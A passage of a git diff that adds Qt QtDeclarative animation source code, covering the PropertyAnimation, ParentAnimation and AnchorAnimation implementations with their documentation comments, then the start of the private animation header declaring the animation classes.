+ //animate both theRect's and uselessItem's x and y to their final values
+ NumberAnimation { properties: "x,y" }
+
+ //animate theRect's z to its final value
+ NumberAnimation { target: theRect; property: "z" }
+ }
+ }
+ \endqml
+ \row
+ \o Standalone
+ \o When an animation is used standalone, both the target and property need to be
+ explicitly specified.
+ \qml
+ Rectangle {
+ id: theRect
+ width: 100; height: 100
+ color: Qt.rgba(0,0,1)
+ //need to explicitly specify target and property
+ NumberAnimation { id: theAnim; target: theRect; property: "x"; to: 500 }
+ MouseArea {
+ anchors.fill: parent
+ onClicked: theAnim.start()
+ }
+ }
+ \endqml
+ \endtable
+
+ As seen in the above example, properties is specified as a comma-separated string of property names to animate.
+
+ \sa exclude, {QML Animation and Transitions}
+*/
+QDeclarativeListProperty<QObject> QDeclarativePropertyAnimation::targets()
+{
+ Q_D(QDeclarativePropertyAnimation);
+ return QDeclarativeListProperty<QObject>(this, d->targets);
+}
+
+/*!
+ \qmlproperty list<Object> PropertyAnimation::exclude
+ This property holds the items not to be affected by this animation.
+ \sa PropertyAnimation::targets
+*/
+QDeclarativeListProperty<QObject> QDeclarativePropertyAnimation::exclude()
+{
+ Q_D(QDeclarativePropertyAnimation);
+ return QDeclarativeListProperty<QObject>(this, d->exclude);
+}
+
+QAbstractAnimation *QDeclarativePropertyAnimation::qtAnimation()
+{
+ Q_D(QDeclarativePropertyAnimation);
+ return d->va;
+}
+
+void QDeclarativeAnimationPropertyUpdater::setValue(qreal v)
+{
+ bool deleted = false;
+ wasDeleted = &deleted;
+ if (reverse) //QVariantAnimation sends us 1->0 when reversed, but we are expecting 0->1
+ v = 1 - v;
+ for (int ii = 0; ii < actions.count(); ++ii) {
+ QDeclarativeAction &action = actions[ii];
+
+ if (v == 1.)
+ QDeclarativePropertyPrivate::write(action.property, action.toValue, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding);
+ else {
+ if (!fromSourced && !fromDefined) {
+ action.fromValue = action.property.read();
+ if (interpolatorType)
+ QDeclarativePropertyAnimationPrivate::convertVariant(action.fromValue, interpolatorType);
+ }
+ if (!interpolatorType) {
+ int propType = action.property.propertyType();
+ if (!prevInterpolatorType || prevInterpolatorType != propType) {
+ prevInterpolatorType = propType;
+ interpolator = QVariantAnimationPrivate::getInterpolator(prevInterpolatorType);
+ }
+ }
+ if (interpolator)
+ QDeclarativePropertyPrivate::write(action.property, interpolator(action.fromValue.constData(), action.toValue.constData(), v), QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding);
+ }
+ if (deleted)
+ return;
+ }
+ wasDeleted = 0;
+ fromSourced = true;
+}
+
+void QDeclarativePropertyAnimation::transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction)
+{
+ Q_D(QDeclarativePropertyAnimation);
+
+ QStringList props = d->properties.isEmpty() ? QStringList() : d->properties.split(QLatin1Char(','));
+ for (int ii = 0; ii < props.count(); ++ii)
+ props[ii] = props.at(ii).trimmed();
+ if (!d->propertyName.isEmpty())
+ props << d->propertyName;
+
+ QList<QObject*> targets = d->targets;
+ if (d->target)
+ targets.append(d->target);
+
+ bool hasSelectors = !props.isEmpty() || !targets.isEmpty() || !d->exclude.isEmpty();
+ bool useType = (props.isEmpty() && d->defaultToInterpolatorType) ? true : false;
+
+ if (d->defaultProperty.isValid() && !hasSelectors) {
+ props << d->defaultProperty.name();
+ targets << d->defaultProperty.object();
+ }
+
+ if (props.isEmpty() && !d->defaultProperties.isEmpty()) {
+ props << d->defaultProperties.split(QLatin1Char(','));
+ }
+
+ QDeclarativeAnimationPropertyUpdater *data = new QDeclarativeAnimationPropertyUpdater;
+ data->interpolatorType = d->interpolatorType;
+ data->interpolator = d->interpolator;
+ data->reverse = direction == Backward ? true : false;
+ data->fromSourced = false;
+ data->fromDefined = d->fromIsDefined;
+
+ bool hasExplicit = false;
+ //an explicit animation has been specified
+ if (d->toIsDefined) {
+ for (int i = 0; i < props.count(); ++i) {
+ for (int j = 0; j < targets.count(); ++j) {
+ QDeclarativeAction myAction;
+ myAction.property = d->createProperty(targets.at(j), props.at(i), this);
+ if (myAction.property.isValid()) {
+ if (d->fromIsDefined) {
+ myAction.fromValue = d->from;
+ d->convertVariant(myAction.fromValue, d->interpolatorType ? d->interpolatorType : myAction.property.propertyType());
+ }
+ myAction.toValue = d->to;
+ d->convertVariant(myAction.toValue, d->interpolatorType ? d->interpolatorType : myAction.property.propertyType());
+ data->actions << myAction;
+ hasExplicit = true;
+ for (int ii = 0; ii < actions.count(); ++ii) {
+ QDeclarativeAction &action = actions[ii];
+ if (action.property.object() == myAction.property.object() &&
+ myAction.property.name() == action.property.name()) {
+ modified << action.property;
+ break; //### any chance there could be multiples?
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if (!hasExplicit)
+ for (int ii = 0; ii < actions.count(); ++ii) {
+ QDeclarativeAction &action = actions[ii];
+
+ QObject *obj = action.property.object();
+ QString propertyName = action.property.name();
+ QObject *sObj = action.specifiedObject;
+ QString sPropertyName = action.specifiedProperty;
+ bool same = (obj == sObj);
+
+ if ((targets.isEmpty() || targets.contains(obj) || (!same && targets.contains(sObj))) &&
+ (!d->exclude.contains(obj)) && (same || (!d->exclude.contains(sObj))) &&
+ (props.contains(propertyName) || (!same && props.contains(sPropertyName))
+ || (useType && action.property.propertyType() == d->interpolatorType))) {
+ QDeclarativeAction myAction = action;
+
+ if (d->fromIsDefined)
+ myAction.fromValue = d->from;
+ else
+ myAction.fromValue = QVariant();
+ if (d->toIsDefined)
+ myAction.toValue = d->to;
+
+ d->convertVariant(myAction.fromValue, d->interpolatorType ? d->interpolatorType : myAction.property.propertyType());
+ d->convertVariant(myAction.toValue, d->interpolatorType ? d->interpolatorType : myAction.property.propertyType());
+
+ modified << action.property;
+
+ data->actions << myAction;
+ action.fromValue = myAction.toValue;
+ }
+ }
+
+ if (data->actions.count()) {
+ if (!d->rangeIsSet) {
+ d->va->setStartValue(qreal(0));
+ d->va->setEndValue(qreal(1));
+ d->rangeIsSet = true;
+ }
+ d->va->setAnimValue(data, QAbstractAnimation::DeleteWhenStopped);
+ d->va->setFromSourcedValue(&data->fromSourced);
+ d->actions = &data->actions;
+ } else {
+ delete data;
+ d->va->setFromSourcedValue(0); //clear previous data
+ d->va->setAnimValue(0, QAbstractAnimation::DeleteWhenStopped); //clear previous data
+ d->actions = 0;
+ }
+}
+
+/*!
+ \qmlclass ParentAnimation QDeclarativeParentAnimation
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits Animation
+ \brief The ParentAnimation element animates changes in parent values.
+
+ ParentAnimation is used to animate a parent change for an \l Item.
+
+ For example, the following ParentChange changes \c blueRect to become
+ a child of \c redRect when it is clicked. The inclusion of the
+ ParentAnimation, which defines a NumberAnimation to be applied during
+ the transition, ensures the item animates smoothly as it moves to
+ its new parent:
+
+ \snippet doc/src/snippets/declarative/parentanimation.qml 0
+
+ A ParentAnimation can contain any number of animations. These animations will
+ be run in parallel; to run them sequentially, define them within a
+ SequentialAnimation.
+
+ In some cases, such as when reparenting between items with clipping enabled, it is useful
+ to animate the parent change via another item that does not have clipping
+ enabled. Such an item can be set using the \l via property.
+
+ For convenience, when a ParentAnimation is used in a \l Transition, it will
+ animate any ParentChange that has occurred during the state change.
+ This can be overridden by setting a specific target item using the
+ \l target property.
+
+ Like any other animation element, a ParentAnimation can be applied in a
+ number of ways, including transitions, behaviors and property value
+ sources. The \l {QML Animation and Transitions} documentation shows a
+ variety of methods for creating animations.
+
+ \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example}
+*/
+QDeclarativeParentAnimation::QDeclarativeParentAnimation(QObject *parent)
+ : QDeclarativeAnimationGroup(*(new QDeclarativeParentAnimationPrivate), parent)
+{
+ Q_D(QDeclarativeParentAnimation);
+ d->topLevelGroup = new QSequentialAnimationGroup;
+ QDeclarative_setParent_noEvent(d->topLevelGroup, this);
+
+ d->startAction = new QActionAnimation;
+ QDeclarative_setParent_noEvent(d->startAction, d->topLevelGroup);
+ d->topLevelGroup->addAnimation(d->startAction);
+
+ d->ag = new QParallelAnimationGroup;
+ QDeclarative_setParent_noEvent(d->ag, d->topLevelGroup);
+ d->topLevelGroup->addAnimation(d->ag);
+
+ d->endAction = new QActionAnimation;
+ QDeclarative_setParent_noEvent(d->endAction, d->topLevelGroup);
+ d->topLevelGroup->addAnimation(d->endAction);
+}
+
+QDeclarativeParentAnimation::~QDeclarativeParentAnimation()
+{
+}
+
+/*!
+ \qmlproperty Item ParentAnimation::target
+ The item to reparent.
+
+ When used in a transition, if no target is specified, all
+ ParentChange occurrences are animated by the ParentAnimation.
+*/
+QDeclarativeItem *QDeclarativeParentAnimation::target() const
+{
+ Q_D(const QDeclarativeParentAnimation);
+ return d->target;
+}
+
+void QDeclarativeParentAnimation::setTarget(QDeclarativeItem *target)
+{
+ Q_D(QDeclarativeParentAnimation);
+ if (target == d->target)
+ return;
+
+ d->target = target;
+ emit targetChanged();
+}
+
+/*!
+ \qmlproperty Item ParentAnimation::newParent
+ The new parent to animate to.
+
+ If the ParentAnimation is defined within a \l Transition or \l Behavior,
+ this value defaults to the value defined in the end state of the
+ \l Transition, or the value of the property change that triggered the
+ \l Behavior.
+*/
+QDeclarativeItem *QDeclarativeParentAnimation::newParent() const
+{
+ Q_D(const QDeclarativeParentAnimation);
+ return d->newParent;
+}
+
+void QDeclarativeParentAnimation::setNewParent(QDeclarativeItem *newParent)
+{
+ Q_D(QDeclarativeParentAnimation);
+ if (newParent == d->newParent)
+ return;
+
+ d->newParent = newParent;
+ emit newParentChanged();
+}
+
+/*!
+ \qmlproperty Item ParentAnimation::via
+ The item to reparent via. This provides a way to do an unclipped animation
+ when both the old parent and new parent are clipped.
+
+ \qml
+ ParentAnimation {
+ target: myItem
+ via: topLevelItem
+ // ...
+ }
+ \endqml
+*/
+QDeclarativeItem *QDeclarativeParentAnimation::via() const
+{
+ Q_D(const QDeclarativeParentAnimation);
+ return d->via;
+}
+
+void QDeclarativeParentAnimation::setVia(QDeclarativeItem *via)
+{
+ Q_D(QDeclarativeParentAnimation);
+ if (via == d->via)
+ return;
+
+ d->via = via;
+ emit viaChanged();
+}
+
+//### mirrors same-named function in QDeclarativeItem
+QPointF QDeclarativeParentAnimationPrivate::computeTransformOrigin(QDeclarativeItem::TransformOrigin origin, qreal width, qreal height) const
+{
+ switch(origin) {
+ default:
+ case QDeclarativeItem::TopLeft:
+ return QPointF(0, 0);
+ case QDeclarativeItem::Top:
+ return QPointF(width / 2., 0);
+ case QDeclarativeItem::TopRight:
+ return QPointF(width, 0);
+ case QDeclarativeItem::Left:
+ return QPointF(0, height / 2.);
+ case QDeclarativeItem::Center:
+ return QPointF(width / 2., height / 2.);
+ case QDeclarativeItem::Right:
+ return QPointF(width, height / 2.);
+ case QDeclarativeItem::BottomLeft:
+ return QPointF(0, height);
+ case QDeclarativeItem::Bottom:
+ return QPointF(width / 2., height);
+ case QDeclarativeItem::BottomRight:
+ return QPointF(width, height);
+ }
+}
+
+void QDeclarativeParentAnimation::transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction)
+{
+ Q_D(QDeclarativeParentAnimation);
+
+ struct QDeclarativeParentAnimationData : public QAbstractAnimationAction
+ {
+ QDeclarativeParentAnimationData() {}
+ ~QDeclarativeParentAnimationData() { qDeleteAll(pc); }
+
+ QDeclarativeStateActions actions;
+ //### reverse should probably apply on a per-action basis
+ bool reverse;
+ QList<QDeclarativeParentChange *> pc;
+ virtual void doAction()
+ {
+ for (int ii = 0; ii < actions.count(); ++ii) {
+ const QDeclarativeAction &action = actions.at(ii);
+ if (reverse)
+ action.event->reverse();
+ else
+ action.event->execute();
+ }
+ }
+ };
+
+ QDeclarativeParentAnimationData *data = new QDeclarativeParentAnimationData;
+ QDeclarativeParentAnimationData *viaData = new QDeclarativeParentAnimationData;
+
+ bool hasExplicit = false;
+ if (d->target && d->newParent) {
+ data->reverse = false;
+ QDeclarativeAction myAction;
+ QDeclarativeParentChange *pc = new QDeclarativeParentChange;
+ pc->setObject(d->target);
+ pc->setParent(d->newParent);
+ myAction.event = pc;
+ data->pc << pc;
+ data->actions << myAction;
+ hasExplicit = true;
+ if (d->via) {
+ viaData->reverse = false;
+ QDeclarativeAction myVAction;
+ QDeclarativeParentChange *vpc = new QDeclarativeParentChange;
+ vpc->setObject(d->target);
+ vpc->setParent(d->via);
+ myVAction.event = vpc;
+ viaData->pc << vpc;
+ viaData->actions << myVAction;
+ }
+ //### once actions have concept of modified,
+ // loop to match appropriate ParentChanges and mark as modified
+ }
+
+ if (!hasExplicit)
+ for (int i = 0; i < actions.size(); ++i) {
+ QDeclarativeAction &action = actions[i];
+ if (action.event && action.event->typeName() == QLatin1String("ParentChange")
+ && (!d->target || static_cast<QDeclarativeParentChange*>(action.event)->object() == d->target)) {
+
+ QDeclarativeParentChange *pc = static_cast<QDeclarativeParentChange*>(action.event);
+ QDeclarativeAction myAction = action;
+ data->reverse = action.reverseEvent;
+
+ //### this logic differs from PropertyAnimation
+ // (probably a result of modified vs. done)
+ if (d->newParent) {
+ QDeclarativeParentChange *epc = new QDeclarativeParentChange;
+ epc->setObject(static_cast<QDeclarativeParentChange*>(action.event)->object());
+ epc->setParent(d->newParent);
+ myAction.event = epc;
+ data->pc << epc;
+ data->actions << myAction;
+ pc = epc;
+ } else {
+ action.actionDone = true;
+ data->actions << myAction;
+ }
+
+ if (d->via) {
+ viaData->reverse = false;
+ QDeclarativeAction myAction;
+ QDeclarativeParentChange *vpc = new QDeclarativeParentChange;
+ vpc->setObject(pc->object());
+ vpc->setParent(d->via);
+ myAction.event = vpc;
+ viaData->pc << vpc;
+ viaData->actions << myAction;
+ QDeclarativeAction dummyAction;
+ QDeclarativeAction &xAction = pc->xIsSet() && i < actions.size()-1 ? actions[++i] : dummyAction;
+ QDeclarativeAction &yAction = pc->yIsSet() && i < actions.size()-1 ? actions[++i] : dummyAction;
+ QDeclarativeAction &sAction = pc->scaleIsSet() && i < actions.size()-1 ? actions[++i] : dummyAction;
+ QDeclarativeAction &rAction = pc->rotationIsSet() && i < actions.size()-1 ? actions[++i] : dummyAction;
+ QDeclarativeItem *target = pc->object();
+ QDeclarativeItem *targetParent = action.reverseEvent ? pc->originalParent() : pc->parent();
+
+ //### this mirrors the logic in QDeclarativeParentChange.
+ bool ok;
+ const QTransform &transform = targetParent->itemTransform(d->via, &ok);
+ if (transform.type() >= QTransform::TxShear || !ok) {
+ qmlInfo(this) << QDeclarativeParentAnimation::tr("Unable to preserve appearance under complex transform");
+ ok = false;
+ }
+
+ qreal scale = 1;
+ qreal rotation = 0;
+ bool isRotate = (transform.type() == QTransform::TxRotate) || (transform.m11() < 0);
+ if (ok && !isRotate) {
+ if (transform.m11() == transform.m22())
+ scale = transform.m11();
+ else {
+ qmlInfo(this) << QDeclarativeParentAnimation::tr("Unable to preserve appearance under non-uniform scale");
+ ok = false;
+ }
+ } else if (ok && isRotate) {
+ if (transform.m11() == transform.m22())
+ scale = qSqrt(transform.m11()*transform.m11() + transform.m12()*transform.m12());
+ else {
+ qmlInfo(this) << QDeclarativeParentAnimation::tr("Unable to preserve appearance under non-uniform scale");
+ ok = false;
+ }
+
+ if (scale != 0)
+ rotation = atan2(transform.m12()/scale, transform.m11()/scale) * 180/qreal(M_PI);
+ else {
+ qmlInfo(this) << QDeclarativeParentAnimation::tr("Unable to preserve appearance under scale of 0");
+ ok = false;
+ }
+ }
+
+ const QPointF &point = transform.map(QPointF(xAction.toValue.toReal(),yAction.toValue.toReal()));
+ qreal x = point.x();
+ qreal y = point.y();
+ if (ok && target->transformOrigin() != QDeclarativeItem::TopLeft) {
+ qreal w = target->width();
+ qreal h = target->height();
+ if (pc->widthIsSet() && i < actions.size() - 1)
+ w = actions[++i].toValue.toReal();
+ if (pc->heightIsSet() && i < actions.size() - 1)
+ h = actions[++i].toValue.toReal();
+ const QPointF &transformOrigin
+ = d->computeTransformOrigin(target->transformOrigin(), w,h);
+ qreal tempxt = transformOrigin.x();
+ qreal tempyt = transformOrigin.y();
+ QTransform t;
+ t.translate(-tempxt, -tempyt);
+ t.rotate(rotation);
+ t.scale(scale, scale);
+ t.translate(tempxt, tempyt);
+ const QPointF &offset = t.map(QPointF(0,0));
+ x += offset.x();
+ y += offset.y();
+ }
+
+ if (ok) {
+ //qDebug() << x << y << rotation << scale;
+ xAction.toValue = x;
+ yAction.toValue = y;
+ sAction.toValue = sAction.toValue.toReal() * scale;
+ rAction.toValue = rAction.toValue.toReal() + rotation;
+ }
+ }
+ }
+ }
+
+ if (data->actions.count()) {
+ if (direction == QDeclarativeAbstractAnimation::Forward) {
+ d->startAction->setAnimAction(d->via ? viaData : data, QActionAnimation::DeleteWhenStopped);
+ d->endAction->setAnimAction(d->via ? data : 0, QActionAnimation::DeleteWhenStopped);
+ } else {
+ d->endAction->setAnimAction(d->via ? viaData : data, QActionAnimation::DeleteWhenStopped);
+ d->startAction->setAnimAction(d->via ? data : 0, QActionAnimation::DeleteWhenStopped);
+ }
+ if (!d->via)
+ delete viaData;
+ } else {
+ delete data;
+ delete viaData;
+ }
+
+ //take care of any child animations
+ bool valid = d->defaultProperty.isValid();
+ for (int ii = 0; ii < d->animations.count(); ++ii) {
+ if (valid)
+ d->animations.at(ii)->setDefaultTarget(d->defaultProperty);
+ d->animations.at(ii)->transition(actions, modified, direction);
+ }
+
+}
+
+QAbstractAnimation *QDeclarativeParentAnimation::qtAnimation()
+{
+ Q_D(QDeclarativeParentAnimation);
+ return d->topLevelGroup;
+}
+
+/*!
+ \qmlclass AnchorAnimation QDeclarativeAnchorAnimation
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits Animation
+ \brief The AnchorAnimation element animates changes in anchor values.
+
+ AnchorAnimation is used to animate an anchor change.
+
+ In the following snippet we animate the addition of a right anchor to a \l Rectangle:
+
+ \snippet doc/src/snippets/declarative/anchoranimation.qml 0
+
+ For convenience, when an AnchorAnimation is used in a \l Transition, it will
+ animate any AnchorChanges that have occurred during the state change.
+ This can be overridden by setting a specific target item using the
+ \l target property.
+
+ Like any other animation element, an AnchorAnimation can be applied in a
+ number of ways, including transitions, behaviors and property value
+ sources. The \l {QML Animation and Transitions} documentation shows a
+ variety of methods for creating animations.
+
+ \sa {QML Animation and Transitions}, AnchorChanges
+*/
+
+QDeclarativeAnchorAnimation::QDeclarativeAnchorAnimation(QObject *parent)
+: QDeclarativeAbstractAnimation(*(new QDeclarativeAnchorAnimationPrivate), parent)
+{
+ Q_D(QDeclarativeAnchorAnimation);
+ d->va = new QDeclarativeBulkValueAnimator;
+ QDeclarative_setParent_noEvent(d->va, this);
+}
+
+QDeclarativeAnchorAnimation::~QDeclarativeAnchorAnimation()
+{
+}
+
+QAbstractAnimation *QDeclarativeAnchorAnimation::qtAnimation()
+{
+ Q_D(QDeclarativeAnchorAnimation);
+ return d->va;
+}
+
+/*!
+ \qmlproperty list<Item> AnchorAnimation::targets
+ The items to reanchor.
+
+ If no targets are specified all AnchorChanges will be
+ animated by the AnchorAnimation.
+*/
+QDeclarativeListProperty<QDeclarativeItem> QDeclarativeAnchorAnimation::targets()
+{
+ Q_D(QDeclarativeAnchorAnimation);
+ return QDeclarativeListProperty<QDeclarativeItem>(this, d->targets);
+}
+
+/*!
+ \qmlproperty int AnchorAnimation::duration
+ This property holds the duration of the animation, in milliseconds.
+
+ The default value is 250.
+*/
+int QDeclarativeAnchorAnimation::duration() const
+{
+ Q_D(const QDeclarativeAnchorAnimation);
+ return d->va->duration();
+}
+
+void QDeclarativeAnchorAnimation::setDuration(int duration)
+{
+ if (duration < 0) {
+ qmlInfo(this) << tr("Cannot set a duration of < 0");
+ return;
+ }
+
+ Q_D(QDeclarativeAnchorAnimation);
+ if (d->va->duration() == duration)
+ return;
+ d->va->setDuration(duration);
+ emit durationChanged(duration);
+}
+
+/*!
+ \qmlproperty enumeration AnchorAnimation::easing.type
+ \qmlproperty real AnchorAnimation::easing.amplitude
+ \qmlproperty real AnchorAnimation::easing.overshoot
+ \qmlproperty real AnchorAnimation::easing.period
+ \brief the easing curve used for the animation.
+
+ To specify an easing curve you need to specify at least the type. For some curves you can also specify
+ amplitude, period and/or overshoot. The default easing curve is
+ Linear.
+
+ \qml
+ AnchorAnimation { easing.type: Easing.InOutQuad }
+ \endqml
+
+ See the \l{PropertyAnimation::easing.type} documentation for information
+ about the different types of easing curves.
+*/
+
+QEasingCurve QDeclarativeAnchorAnimation::easing() const
+{
+ Q_D(const QDeclarativeAnchorAnimation);
+ return d->va->easingCurve();
+}
+
+void QDeclarativeAnchorAnimation::setEasing(const QEasingCurve &e)
+{
+ Q_D(QDeclarativeAnchorAnimation);
+ if (d->va->easingCurve() == e)
+ return;
+
+ d->va->setEasingCurve(e);
+ emit easingChanged(e);
+}
+
+void QDeclarativeAnchorAnimation::transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction)
+{
+ Q_UNUSED(modified);
+ Q_D(QDeclarativeAnchorAnimation);
+ QDeclarativeAnimationPropertyUpdater *data = new QDeclarativeAnimationPropertyUpdater;
+ data->interpolatorType = QMetaType::QReal;
+ data->interpolator = d->interpolator;
+
+ data->reverse = direction == Backward ? true : false;
+ data->fromSourced = false;
+ data->fromDefined = false;
+
+ for (int ii = 0; ii < actions.count(); ++ii) {
+ QDeclarativeAction &action = actions[ii];
+ if (action.event && action.event->typeName() == QLatin1String("AnchorChanges")
+ && (d->targets.isEmpty() || d->targets.contains(static_cast<QDeclarativeAnchorChanges*>(action.event)->object()))) {
+ data->actions << static_cast<QDeclarativeAnchorChanges*>(action.event)->additionalActions();
+ }
+ }
+
+ if (data->actions.count()) {
+ if (!d->rangeIsSet) {
+ d->va->setStartValue(qreal(0));
+ d->va->setEndValue(qreal(1));
+ d->rangeIsSet = true;
+ }
+ d->va->setAnimValue(data, QAbstractAnimation::DeleteWhenStopped);
+ d->va->setFromSourcedValue(&data->fromSourced);
+ } else {
+ delete data;
+ }
+}
+
+QDeclarativeScriptActionPrivate::QDeclarativeScriptActionPrivate()
+ : QDeclarativeAbstractAnimationPrivate(), hasRunScriptScript(false), reversing(false), proxy(this), rsa(0) {}
+
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h
new file mode 100644
index 00000000..e80df259
--- /dev/null
+++ b/src/declarative/util/qdeclarativeanimation_p.h
@@ -0,0 +1,528 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEANIMATION_H
+#define QDECLARATIVEANIMATION_H
+
+#include "private/qdeclarativetransition_p.h"
+#include "private/qdeclarativestate_p.h"
+#include <QtGui/qvector3d.h>
+
+#include <qdeclarativepropertyvaluesource.h>
+#include <qdeclarative.h>
+#include <qdeclarativescriptstring.h>
+
+#include <QtCore/qvariant.h>
+#include <QtCore/qeasingcurve.h>
+#include <QtCore/QAbstractAnimation>
+#include <QtGui/qcolor.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeAbstractAnimationPrivate;
+class QDeclarativeAnimationGroup;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeAbstractAnimation : public QObject, public QDeclarativePropertyValueSource, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeAbstractAnimation)
+
+ Q_INTERFACES(QDeclarativeParserStatus)
+ Q_INTERFACES(QDeclarativePropertyValueSource)
+ Q_ENUMS(Loops)
+ Q_PROPERTY(bool running READ isRunning WRITE setRunning NOTIFY runningChanged)
+ Q_PROPERTY(bool paused READ isPaused WRITE setPaused NOTIFY pausedChanged)
+ Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged)
+ Q_PROPERTY(int loops READ loops WRITE setLoops NOTIFY loopCountChanged)
+ Q_CLASSINFO("DefaultMethod", "start()")
+
+public:
+ QDeclarativeAbstractAnimation(QObject *parent=0);
+ virtual ~QDeclarativeAbstractAnimation();
+
+ enum Loops { Infinite = -2 };
+
+ bool isRunning() const;
+ void setRunning(bool);
+ bool isPaused() const;
+ void setPaused(bool);
+ bool alwaysRunToEnd() const;
+ void setAlwaysRunToEnd(bool);
+
+ int loops() const;
+ void setLoops(int);
+
+ int currentTime();
+ void setCurrentTime(int);
+
+ QDeclarativeAnimationGroup *group() const;
+ void setGroup(QDeclarativeAnimationGroup *);
+
+ void setDefaultTarget(const QDeclarativeProperty &);
+ void setDisableUserControl();
+
+ void classBegin();
+ void componentComplete();
+
+Q_SIGNALS:
+ void started();
+ void completed();
+ void runningChanged(bool);
+ void pausedChanged(bool);
+ void alwaysRunToEndChanged(bool);
+ void loopCountChanged(int);
+
+public Q_SLOTS:
+ void restart();
+ void start();
+ void pause();
+ void resume();
+ void stop();
+ void complete();
+
+protected:
+ QDeclarativeAbstractAnimation(QDeclarativeAbstractAnimationPrivate &dd, QObject *parent);
+
+public:
+ enum TransitionDirection { Forward, Backward };
+ virtual void transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction);
+ virtual QAbstractAnimation *qtAnimation() = 0;
+
+private Q_SLOTS:
+ void timelineComplete();
+ void componentFinalized();
+private:
+ virtual void setTarget(const QDeclarativeProperty &);
+ void notifyRunningChanged(bool running);
+ friend class QDeclarativeBehavior;
+
+
+};
+
+class QDeclarativePauseAnimationPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativePauseAnimation : public QDeclarativeAbstractAnimation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativePauseAnimation)
+
+ Q_PROPERTY(int duration READ duration WRITE setDuration NOTIFY durationChanged)
+
+public:
+ QDeclarativePauseAnimation(QObject *parent=0);
+ virtual ~QDeclarativePauseAnimation();
+
+ int duration() const;
+ void setDuration(int);
+
+Q_SIGNALS:
+ void durationChanged(int);
+
+protected:
+ virtual QAbstractAnimation *qtAnimation();
+};
+
+class QDeclarativeScriptActionPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeScriptAction : public QDeclarativeAbstractAnimation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeScriptAction)
+
+ Q_PROPERTY(QDeclarativeScriptString script READ script WRITE setScript)
+ Q_PROPERTY(QString scriptName READ stateChangeScriptName WRITE setStateChangeScriptName)
+
+public:
+ QDeclarativeScriptAction(QObject *parent=0);
+ virtual ~QDeclarativeScriptAction();
+
+ QDeclarativeScriptString script() const;
+ void setScript(const QDeclarativeScriptString &);
+
+ QString stateChangeScriptName() const;
+ void setStateChangeScriptName(const QString &);
+
+protected:
+ virtual void transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction);
+ virtual QAbstractAnimation *qtAnimation();
+};
+
+class QDeclarativePropertyActionPrivate;
+class QDeclarativePropertyAction : public QDeclarativeAbstractAnimation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativePropertyAction)
+
+ Q_PROPERTY(QObject *target READ target WRITE setTarget NOTIFY targetChanged)
+ Q_PROPERTY(QString property READ property WRITE setProperty NOTIFY propertyChanged)
+ Q_PROPERTY(QString properties READ properties WRITE setProperties NOTIFY propertiesChanged)
+ Q_PROPERTY(QDeclarativeListProperty<QObject> targets READ targets)
+ Q_PROPERTY(QDeclarativeListProperty<QObject> exclude READ exclude)
+ Q_PROPERTY(QVariant value READ value WRITE setValue NOTIFY valueChanged)
+
+public:
+ QDeclarativePropertyAction(QObject *parent=0);
+ virtual ~QDeclarativePropertyAction();
+
+ QObject *target() const;
+ void setTarget(QObject *);
+
+ QString property() const;
+ void setProperty(const QString &);
+
+ QString properties() const;
+ void setProperties(const QString &);
+
+ QDeclarativeListProperty<QObject> targets();
+ QDeclarativeListProperty<QObject> exclude();
+
+ QVariant value() const;
+ void setValue(const QVariant &);
+
+Q_SIGNALS:
+ void valueChanged(const QVariant &);
+ void propertiesChanged(const QString &);
+ void targetChanged();
+ void propertyChanged();
+
+protected:
+ virtual void transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction);
+ virtual QAbstractAnimation *qtAnimation();
+};
+
+class QDeclarativeItem;
